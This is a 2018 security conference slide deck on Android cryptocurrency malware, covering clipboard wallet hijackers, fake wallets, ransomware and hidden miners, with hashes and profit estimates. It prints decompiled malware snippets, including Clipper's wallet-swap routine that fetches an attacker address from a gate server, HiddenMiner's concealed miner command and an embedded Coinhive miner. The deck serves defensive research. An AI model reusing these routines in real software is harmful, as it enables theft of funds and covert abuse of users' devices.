Cryptocurrency mobile malware

Axelle Apvrille

BlackAlps, November 2018
Who am I

- Principal security researcher at Fortinet
- Topic: malware for smart devices (phones, IoT...)
- Email: aapvrille (at) fortinet (dot) com
- Twitter: @cryptax
- GPG: 5CE9 C366 AFB5 4556 E981 020F 9EAA 42A0 37EC 490C
Background
Cryptojacking
Drive-by mining
Ransomware

Cryptocurrency malware for Android

Samples
Android/Clipper
Android/FakeApp: MyEtherWallet
Ransomware: Android/LokiBot, Android/DoubleLocker
Miner: Android/HiddenMiner, Riskware/Coinhive, Trinity
Riskware/Fakeminer!Android

Analysis
Cryptocurrency attacks no.1: Cryptojacking botnet

ZeroAccess botnet (aka W32/Sirefef)
23 % of organizations saw cryptojacking like ZeroAccess

Reference: Fortinet Q2 2018 Threat Landscape Report
Image credit: http://medfieldcomputerguy.com/2013/04/zero-access/
Cryptocurrency attacks no.2: Drive-by cryptomining
Cryptocurrency attacks no.3: Ransomware

Asks for ransom in Monero (XMR)

Image credit: Jakub Kroustek (@JakubKroustek)
1 Background
Cryptojacking
Drive-by mining
Ransomware

2 Cryptocurrency malware for Android

3 Samples
Android/Clipper
Android/FakeApp: MyEtherWallet
Ransomware: Android/LokiBot, Android/DoubleLocker
Miner: Android/HiddenMiner, Riskware/Coinhive, Trinity
Riskware/FakeMiner!Android

4 Analysis
Cryptocurrency malware on Android

2014

- MuchSad (Feb)

2015

- CoinKrypt, Malminer (Mar)
- BadLepricon (Apr)
- Widdit (May)

2016

- not much activity

2017

- PickBitPocket (Dec)
- AdbMiner (Feb)
- HiddenMiner (Mar)
- Clipper (Aug)
- Trinity (Oct)

2018

- CoinMiner
- CoinHive
- Fake wallets, miners

BlackAlps, November 2018 - A. Apvrille - 8/35
<table>
<thead>
<tr>
<th>Malware</th>
<th>Sample SHA256 (example)</th>
</tr>
</thead>
<tbody>
<tr>
<td>MuchSad</td>
<td>45d47490e95036a1b487819b79a36ca3f220da8741074567eedc7a8c0e4b71c6</td>
</tr>
<tr>
<td>CoinKrypt</td>
<td>bf19f320b3a779143a16e35241748594401c7c0af685192f0d7b94343028483c</td>
</tr>
<tr>
<td>MalMiner</td>
<td>?</td>
</tr>
<tr>
<td>BadLepricon</td>
<td>?</td>
</tr>
<tr>
<td>Widdit</td>
<td>?</td>
</tr>
<tr>
<td>PickBitPocket</td>
<td>7ebf44f314f518b1a4ebe8422fdbea6ddd698f6d9615a62fa8e91db27700143fa</td>
</tr>
<tr>
<td>JSMiner</td>
<td>22581e7e76a09d404d093ab755888743b4c908518c47af66225e2da991d112f0</td>
</tr>
<tr>
<td>CoinHive and again</td>
<td>609031846814664867d7dcab5b7c2d053a5a6ec4365f544288f2686a3a657d04</td>
</tr>
<tr>
<td>Loapi</td>
<td>bae9151dea172accebf9d272988e77dc3084d510b09f5cda3370422d02e851</td>
</tr>
<tr>
<td>DoubleLocker</td>
<td>79e602a062d05fbb1409afc16e6d41ac0645576b2b5c1899dc93e6852c30a71f</td>
</tr>
<tr>
<td>Fake apps, rewards</td>
<td>bd054ba17dc61524ab50542e06ec83b9a0c41149bfde1795715bd7a108339204</td>
</tr>
<tr>
<td>AdbMiner</td>
<td>3b915dfff0a8e15d01dbf17388db4ad9ce6c5a4791dcb62581d761ab6e02c023</td>
</tr>
<tr>
<td>HiddenMiner</td>
<td>1f3d53ceb57367ae137cad2afac8b429a44c4df8c6202c0330d125981ea9652f</td>
</tr>
<tr>
<td>Clipper</td>
<td>f33def1df72c2d490a2d39768a80094738a29d8d6f797e4c867a0410e12fbad4</td>
</tr>
<tr>
<td>FakeMiner</td>
<td>9ccfc1c9de7934b6f1c958d73f8e0b969495f5e171e48d642ec45bd3dc44cb</td>
</tr>
<tr>
<td>Trinity</td>
<td>0d3c687ff30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257</td>
</tr>
</tbody>
</table>
“moderate positive correlation between the market price of cryptocurrencies and malware designed to mine those currencies illicitly” - Fortinet Q2 2018 Threat Landscape Report
1 Background
   Cryptojacking
   Drive-by mining
   Ransomware

2 Cryptocurrency malware for Android

3 Samples
   Android/Clipper
   Android/FakeApp: MyEtherWallet
   Ransomware: Android/LokiBot, Android/DoubleLocker
   Miner: Android/HiddenMiner, Riskware/Coinhive, Trinity
   Riskware/FakeMiner!Android

4 Analysis
Android/Clipper

Poses as a Bitcoin wallet
Discovered in **August 2018**

Ref: [https://news.drweb.com/show/?i=12739&lng=en](https://news.drweb.com/show/?i=12739&lng=en)

sha256: f33def1df72c2d490a2d39768a80094738a29d8d6f797e4c867a0410e12fbad4

---

Clipboard
D121982093...

“DOGE”
Android/Clipper

Poses as a Bitcoin wallet
Discovered in **August 2018**

Ref: [https://news.drweb.com/show/?i=12739&lng=en](https://news.drweb.com/show/?i=12739&lng=en)

sha256: f33def1df72c2d490a2d39768a80094738a29d8d6f797e4c867a0410e12fbad4

---

**Clipboard**

DabcPIRATE...

Use my wallet address

DabcPIRATE...
Code: detecting currency

```java
if((first.contains("4")) && clippedtext.length() == 0x5F || clippedtext.length() == 106) {
    ClipboardService.this.log("Monero", clippedtext);
    ClipboardService.this.set("Monero");
    return;
}

v3_1 = 34;
if(clippedtext.length() == v3_1 && (first.contains("1")) || (first.contains("3"))) {
    ClipboardService.this.log("Bitcoin", clippedtext);
    ClipboardService.this.set("BTC");
    return;
}

if(clippedtext.length() == v3_1 && (first.contains("X"))) {
    ClipboardService.this.log("DASH", clippedtext);
    ClipboardService.this.set("DASH");
    return;
}

if(clippedtext.length() == v3_1 && (first.contains("D"))) {
    ClipboardService.this.log("DOGE", clippedtext);
    ClipboardService.this.set("DOGE");
    return;
}
```
void set(String currency) {
    ClipboardService service = new ClipboardService();
    Thread thread = new Thread(new Runnable(currency, service) {
        public void run() {
            String str = ClipboardService.this.getGate() + "settings.php?wallet=" + this.val$walletaddress;
            try {
                str = HttpClient.getReq(str);
                Log.d("Clipper", "Getted wallet");
                this.val$cs.walletaddress = str;
            } catch (IOException v0_2) {
                v0_2.printStackTrace();
            } catch (URISyntaxException v0_3) {
                v0_3.printStackTrace();
            }
        }
    });
    thread.start();
    try {
        thread.join();
        this.change(service.walletaddress); // modify with attacker's wallet address
    } catch (InterruptedException exception) {
        exception.printStackTrace();
    }
}
Android/FakeApp.HV!tr: a fake Ether wallet

Ethereum Logo by Ethereum Foundation
sha256: bd054ba17dc61524ab50542e06ec83b9a0c41149bfde1795715bd7a108339204
Android/FakeApp.HV!tr: a fake Ether wallet

Insert private key!

Ethereum Logo by Ethereum Foundation
sha256: bd054ba17dc61524ab50542e06ec83b9a0c41149bfde1795715bd7a108339204
Android/FakeApp.HV!tr: a fake Ether wallet

Insert private key!

wallet address, private key

Firebase

Ethereum Logo by Ethereum Foundation
sha256: bd054ba17dc61524ab50542e06ec83b9a0c41149bfde1795715bd7a108339204
Android/FakeApp.HV!tr: a fake Ether wallet

- Insert **private** key!
- "Invalid credentials"

wallet address, private key → Firebase

Ethereum Logo by Ethereum Foundation

sha256: bd054ba17dc61524ab50542e06ec83b9a0c41149bfde1795715bd7a108339204
Mobile ransomware asking for cryptocurrencies

DoubleLocker

Your personal documents and files on this device have just been encrypted. The original files have been deleted and will only be recovered by following the steps described below. The encryption was done with a unique generated encryption key (using AES-256).

<table>
<thead>
<tr>
<th>Data will be lost after</th>
<th>Number of encrypted files</th>
<th>The cost of the key for decryption</th>
</tr>
</thead>
<tbody>
<tr>
<td>23h</td>
<td>3437</td>
<td>0.0130 BTC</td>
</tr>
</tbody>
</table>

Please make payment to this Bitcoin address or you can scan QR-code to get Bitcoin-address easily. The operation is complete if there are 3 confirmations.

OR scan QR-code

Image credits: ESET

LokiBot

Your phone is locked for viewing child pornography.
All your files are encrypted. Your phone is locked until payment of the fine of $ 100.
You have 48 hours to pay the fine in case of refusal to pay all of your files will be handed over to the police.

Is your personal account Bitcoin.
1GFiCaalKcEfEk7seMyYFpX99PXgrUqk85
for payment.

After paying the fine, your phone automatically unlocks.

Buy bitcoin.
https://www.coinbase.com/
https://btc-e.com/
https://www.youtube.com/watch?v=Akp4803Et10
https://www.youtube.com/watch?v=C3Gx1wEcrSU

Image credits: ThreatFabric

bae9151dea172acce6b9d6c27298eec77dc3084d510b09f5cda3370422d02e851

79e602a062d05fbf1409afc16e6d41ac0645576b2b5c1899dc93e6852c30a71f
Example: Android/Lokibot’s Scrynlock activity

```java
public void onWindowFocusChanged(boolean arg3) {
    super.onWindowFocusChanged(arg3);
    if (!arg3) {
        this.sendBroadcast(new Intent(
          ablesfasfasfasfafa.ableasfasfasfasfafa(
            "D0A,J7ApL0Q;K*\u000B?F*L1Kpf\u0012j\r'\u0001v
            \u0007v\n'\u0013z\u0011b\r")
        ));
    }
}
```

How does it lock the screen?!
public void onWindowFocusChanged(boolean arg3) {
    super.onWindowFocusChanged(arg3);
    if (!arg3) {
        this.sendBroadcast(new Intent("android.intent.action.CLOSE_SYSTEM_DIALOGS"));
    }
}
Android/HiddenMiner poses as a Play Store Update

String algo = "cryptonight";
String stratum = "stratum+tcp";
String pool = Constants.miningPool;
String port = String.valueOf(Constants.miningPort);
String user = Constants.miningUser;
String userpw = Build.MANUFACTURER;
int processors = this.getNrProcessors();
if (this.getNrProcessors() > 2) {
    processors = this.getNrProcessors() / 2;
}

String command = "minerd -q -a " + algo + " -o " + stratum + "://" + pool + ":" + port + " -0 " + user + "::" + userpw + " -t " + String.valueOf(processors);
int removespaces = command == null ? 0 : command.length() - command.replace(" ", "").length() + 1;
this.startMiner(removespaces, command);

sha256: 1c24c3ad27027e79add11d124b1366ae577f9c92cd3302bd26869825c90bf377
April 2018
Android/HiddenMiner mining live

April 2018

<table>
<thead>
<tr>
<th>Nº</th>
<th>Worker</th>
<th>Hash Rate</th>
<th>1 Hour Avg. Hash Rate</th>
<th>24 Hour Avg. Hash Rate</th>
<th>Total Hashes</th>
<th>Last Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Intel</td>
<td>8 H/s</td>
<td>8 H/s</td>
<td>9 H/s</td>
<td>8,017,795</td>
<td>a minute ago</td>
</tr>
<tr>
<td>2</td>
<td>LENOVO</td>
<td>16 H/s</td>
<td>17 H/s</td>
<td>12 H/s</td>
<td>66,051,625</td>
<td>a minute ago</td>
</tr>
<tr>
<td>3</td>
<td>samsung</td>
<td>25 H/s</td>
<td>18 H/s</td>
<td>30 H/s</td>
<td>564,429,159</td>
<td>a minute ago</td>
</tr>
</tbody>
</table>

April 2018

I Hate Malware

0 H/s
Riskware/Coinhive: they are Legion!

JavaScript asset

```javascript
var miner = new CoinHive.Anonymous('fwW95bBF0910KUsz1VhlMEQwxmDBz7XE',{  
  threads: 4,  
  throttle: 0.8
});
miner.start();
```

Load the page

```javascript
WebView webView;
WebSettings settings;
this.webView = this.findViewById(0x7F080000);
this.settings = this.webView.getSettings();
this.settings.setJavaScriptEnabled(true);
this.settings.setDomStorageEnabled(true);
this.webView.loadUrl("file:///android_asset/run.html");
```

sha256: 0d3c687fffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257
Coinhive script is distributed by the Trinity bot (Oct 23)

Infected host

adb connect, adb push ufo.apk...

Hybrid infection

Android device

smartphone, smart TV, DVR...
Coinhive script is distributed by the Trinity bot (Oct 23)

Infected host

Android device

smartphone, smart TV, DVR...

Hybrid infection

adb connect, adb push ufo.apk...

CoinHive miner

Mining Monero

for fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE
Fake Miners: Riskware/FakeMiner!Android

More info: Fortiguard blog
1 Background
   Cryptojacking
   Drive-by mining
   Ransomware

2 Cryptocurrency malware for Android

3 Samples
   Android/Clipper
   Android/FakeApp: MyEtherWallet
   Ransomware: Android/LokiBot, Android/DoubleLocker
   Miner: Android/HiddenMiner, Riskware/Coinhive, Trinity
   Riskware/FakeMiner!Android

4 Analysis
Detection hits for Android miners & fake miners - Sept 2018
Detection hits for Android miners & fake miners - Sept 2018

366,000
Monero uses Cryptonight PoW algo. Ok to mine on CPUs or GPUs.

Monero transactions are private & untraceable.

Nevertheless, malware target a wide variety of cryptocurrencies.

Some malware don’t control which currency they mine e.g. CoinMiner mines the most profitable Neoscrypt coins: Bollywoodcoin, crowdcoin, dinero, guncoin, orbitcoin...
Which pools do Android malware use?

<table>
<thead>
<tr>
<th>Malware</th>
<th>Pool</th>
</tr>
</thead>
<tbody>
<tr>
<td>AdbMiner</td>
<td>pool.minexmr.com:7777</td>
</tr>
<tr>
<td></td>
<td>sg1.supportxmr.com:3333</td>
</tr>
<tr>
<td>HiddenMiner</td>
<td>xmr.pool.minergate.com</td>
</tr>
<tr>
<td>Loapi</td>
<td>pickaxe.pool.pm:3001</td>
</tr>
<tr>
<td>Malminer</td>
<td>mine.pool-x.eu:8080</td>
</tr>
<tr>
<td>Widdit</td>
<td>neoscript.mine.zpool.ca</td>
</tr>
<tr>
<td>CoinMiner</td>
<td></td>
</tr>
</tbody>
</table>

- No noticeable trend
- Except we haven’t ever noticed Solo Mining
- You don’t always control the mining pool e.g. CoinHive
Mining on smartphones

- **Bitcoin is not profitable** on a mobile phone
- **What do you mine on a smartphone?**
  - Smartphones *aren’t designed to mine*. Beware of **heat**.
  - CryptoNight currencies. Mineable on CPU. ByteCoin, Electroneum, Monero...

**Note:** Miners banned on **Google Play**, July 2018.
Low hash rates!

<table>
<thead>
<tr>
<th>Smartphone</th>
<th>Hash rate</th>
<th>Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorola Moto E</td>
<td>10 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Bluboo S8 Plus</td>
<td>11 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Motorola Moto E</td>
<td>13 H/s</td>
<td>AEON (CryptoNight-Lite)</td>
</tr>
<tr>
<td>Sony C4</td>
<td>19 H/s</td>
<td>DashCoin</td>
</tr>
<tr>
<td>Xiaomi Mi 5</td>
<td>23 H/s</td>
<td>Electroneum</td>
</tr>
<tr>
<td>Samsung Galaxy S6</td>
<td>25 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Samsung Galaxy S8</td>
<td>39 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Motorola Droid Turbo</td>
<td>40 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Samsung Note 8</td>
<td>75 H/s</td>
<td>AEON</td>
</tr>
</tbody>
</table>
## Low hash rates!

<table>
<thead>
<tr>
<th>Smartphone</th>
<th>Hash rate</th>
<th>Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorola Moto E</td>
<td>10 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Bluboo S8 Plus</td>
<td>11 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Motorola Moto E</td>
<td>13 H/s</td>
<td>AEON (CryptoNight-Lite)</td>
</tr>
<tr>
<td>Sony C4</td>
<td>19 H/s</td>
<td>DashCoin</td>
</tr>
<tr>
<td>Xiaomi Mi 5</td>
<td>23 H/s</td>
<td>Electroneum</td>
</tr>
<tr>
<td>Samsung Galaxy S6</td>
<td>25 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Samsung Galaxy S8</td>
<td>39 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Motorola Droid Turbo</td>
<td>40 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Samsung Note 8</td>
<td>75 H/s</td>
<td>AEON</td>
</tr>
</tbody>
</table>
Low hash rates!

<table>
<thead>
<tr>
<th>Smartphone</th>
<th>Hash rate</th>
<th>Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorola Moto E</td>
<td>10 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Bluboo S8 Plus</td>
<td>11 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Motorola Moto E</td>
<td>13 H/s</td>
<td>AEON (CryptoNight-Lite)</td>
</tr>
<tr>
<td>Sony C4</td>
<td>19 H/s</td>
<td>DashCoin</td>
</tr>
<tr>
<td>Xiaomi Mi 5</td>
<td>23 H/s</td>
<td>Electroneum</td>
</tr>
<tr>
<td>Samsung Galaxy S6</td>
<td>25 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Samsung Galaxy S8</td>
<td>39 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Motorola Droid Turbo</td>
<td>40 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Samsung Note 8</td>
<td>75 H/s</td>
<td>AEON</td>
</tr>
</tbody>
</table>

**High end smartphones**
Low hash rates!

<table>
<thead>
<tr>
<th>Smartphone</th>
<th>Hash rate</th>
<th>Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorola Moto E</td>
<td>10 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Bluboo S8 Plus</td>
<td>11 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Motorola Moto E</td>
<td>13 H/s</td>
<td>AEON (CryptoNight-Lite)</td>
</tr>
<tr>
<td>Sony C4</td>
<td>19 H/s</td>
<td>DashCoin</td>
</tr>
<tr>
<td>Xiaomi Mi 5</td>
<td>23 H/s</td>
<td>Electroneum</td>
</tr>
<tr>
<td>Samsung Galaxy S6</td>
<td>25 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Samsung Galaxy S8</td>
<td>39 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Motorola Droid Turbo</td>
<td>40 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Samsung Note 8</td>
<td>75 H/s</td>
<td>AEON</td>
</tr>
</tbody>
</table>

High end smartphones

CryptoNight-Lite
Low hash rates!

<table>
<thead>
<tr>
<th>Smartphone</th>
<th>Hash rate</th>
<th>Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorola Moto E</td>
<td>10 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Bluboo S8 Plus</td>
<td>11 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Motorola Moto E</td>
<td>13 H/s</td>
<td>AEON (CryptoNight-Lite)</td>
</tr>
<tr>
<td>Sony C4</td>
<td>19 H/s</td>
<td>DashCoin</td>
</tr>
<tr>
<td>Xiaomi Mi 5</td>
<td>23 H/s</td>
<td>Electroneum</td>
</tr>
<tr>
<td>Samsung Galaxy S6</td>
<td>25 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Samsung Galaxy S8</td>
<td>39 H/s</td>
<td>ByteCoin</td>
</tr>
<tr>
<td>Motorola Droid Turbo</td>
<td>40 H/s</td>
<td>Monero</td>
</tr>
<tr>
<td>Samsung Note 8</td>
<td>75 H/s</td>
<td>AEON</td>
</tr>
</tbody>
</table>

High end smartphones

Still very low!

CryptoNight-Lite
Are they profitable?

Android/HiddenMiner - Profits in April 2018
Are they profitable?

**Android/HiddenMiner - Profits in April 2018**

<table>
<thead>
<tr>
<th>Worker</th>
<th>Hash Rate</th>
<th>1 Hour Avg. Hash Rate</th>
<th>24 Hour Avg. Hash Rate</th>
<th>Total Hashes</th>
<th>Last Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>Amazon</td>
<td>8 H/s</td>
<td>0 H/s</td>
<td>11 H/s</td>
<td>20,170,527</td>
<td>2 hours ago</td>
</tr>
<tr>
<td>HUAWEI</td>
<td>8 H/s</td>
<td>8 H/s</td>
<td>9 H/s</td>
<td>32,201,604</td>
<td>a minute ago</td>
</tr>
<tr>
<td>LENOVO</td>
<td>8 H/s</td>
<td>19 H/s</td>
<td>13 H/s</td>
<td>66,066,825</td>
<td>a minute ago</td>
</tr>
<tr>
<td>samsung</td>
<td>50 H/s</td>
<td>19 H/s</td>
<td>30 H/s</td>
<td>564,409,159</td>
<td>a minute ago</td>
</tr>
</tbody>
</table>
Are they profitable?

Infected smartphones
Low hash rates

Total hash rate

Android/HiddenMiner - Profits in April 2018
Are they profitable?

Total hash rate: 66 H/s (59 H/s)

Approx 20 CHF

Infected smartphones

Low hash rates

Android/HiddenMiner - Profits in April 2018
Monitoring Android/CoinMiner

Last 24 Hours Hashrate: 3HzFtXkYuNeEqBcg7MmEBQ7K1jYSiuaiJm

Miners: 3HzFtXkYuNeEqBcg7MmEBQ7K1jYSiuaiJm

- neoscript
- skunk
- decred
- blakecoin
- all

<table>
<thead>
<tr>
<th>Miner</th>
<th>Extra</th>
<th>Algo</th>
<th>Diff</th>
<th>ES**</th>
<th>Hashrate*</th>
</tr>
</thead>
<tbody>
<tr>
<td>neoscript</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>android-cpuminer/2.5</td>
<td>d=0.0001</td>
<td>neoscript</td>
<td>64</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>android-cpuminer/2.5</td>
<td>d=0.0001</td>
<td>neoscript</td>
<td>64</td>
<td>✔️</td>
<td>-</td>
</tr>
<tr>
<td>android-cpuminer/2.5</td>
<td>d=0.0001</td>
<td>neoscript</td>
<td>64</td>
<td>✔️</td>
<td>-</td>
</tr>
<tr>
<td>android-cpuminer/2.5</td>
<td>d=0.0001</td>
<td>neoscript</td>
<td>64</td>
<td>✔️</td>
<td>-</td>
</tr>
<tr>
<td>android-cpuminer/2.5</td>
<td>d=0.0001</td>
<td>neoscript</td>
<td>64</td>
<td>✔️</td>
<td>-</td>
</tr>
<tr>
<td>android-cpuminer/2.5</td>
<td>d=0.0001</td>
<td>neoscript</td>
<td>64</td>
<td>✔️</td>
<td>-</td>
</tr>
</tbody>
</table>

* approximate from the last 5 minutes submitted shares
** extracons.subscribe

sha256: c657e94c3040df2d62931ee4b5fcd673e61f5ba903b176f7590996fa57aec0e4
Monitoring Android/CoinMiner

7 infected devices

sha256: c657e94c3040df2d62931ee4b5fcd673e61f5ba903b176f7590996fa57aec0e4
Monitoring Android/CoinMiner

7 infected devices

Approx 11 CHF

sha256: c657e94c3040df2d62931ee4b5fcd673e61f5ba903b176f7590996fa57aec0e4
Following transactions of CoinMiner

Bitcoin Address Addresses are identifiers which you use to send bitcoins to another person.

<table>
<thead>
<tr>
<th>Summary</th>
<th>Transactions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address</td>
<td>No. Transactions 13</td>
</tr>
<tr>
<td>Hash 160</td>
<td>Total Received 0.04081973 BTC</td>
</tr>
<tr>
<td></td>
<td>Final Balance 0 BTC</td>
</tr>
</tbody>
</table>

Transactions (Oldest First)

Received 0.040819 BTC on that wallet (approx 250 CHF) Possibly from different malware - Uses mixing
How profitable for malware authors?

<table>
<thead>
<tr>
<th>Android Malware</th>
<th>Lifetime Profits</th>
</tr>
</thead>
<tbody>
<tr>
<td>MuchSad</td>
<td>3 CHF</td>
</tr>
<tr>
<td>HiddenMiner</td>
<td>20 CHF</td>
</tr>
<tr>
<td>CpuMiner</td>
<td>170 CHF</td>
</tr>
<tr>
<td>CoinMiner</td>
<td>max 230 CHF</td>
</tr>
<tr>
<td>AdbMiner</td>
<td>1300 CHF</td>
</tr>
</tbody>
</table>

- AdbMiner: **7,000 bots**. Also includes infected TV boxes.
- **Far below** revenues on Windows where 2,000 bots generate a revenue of **500 USD per day**
- No electricity cost, but only a **low revenue**
It’s not very profitable but malware authors use them!
Cybercriminals usually have motivations!!!

So why?
So why?

1. It’s a test. Possibly
So why?

1. It’s a test. **Possibly**
2. The revenue is interesting to a script kiddie. **Yes**
So why?

1. It’s a test. **Possibly**
2. The revenue is interesting to a script kiddie. **Yes**
3. “Maybe I’ll get rich with that cryptocurrency one day!” - **Speculation**.

What is worth **20 CHF** today might be worth **20,000 CHF** later... (speculation)
Conclusion

Cryptocurrencies are **frequently** used in Android **malware**: miners, fake apps, wallet stealers, ransomware...

Keep an eye on cryptocurrency market **prices** and mobile phone **CPU power**

Thank You

www.fortinet.com - www.fortiguard.com - @FortiguardLabs
me: @cryptax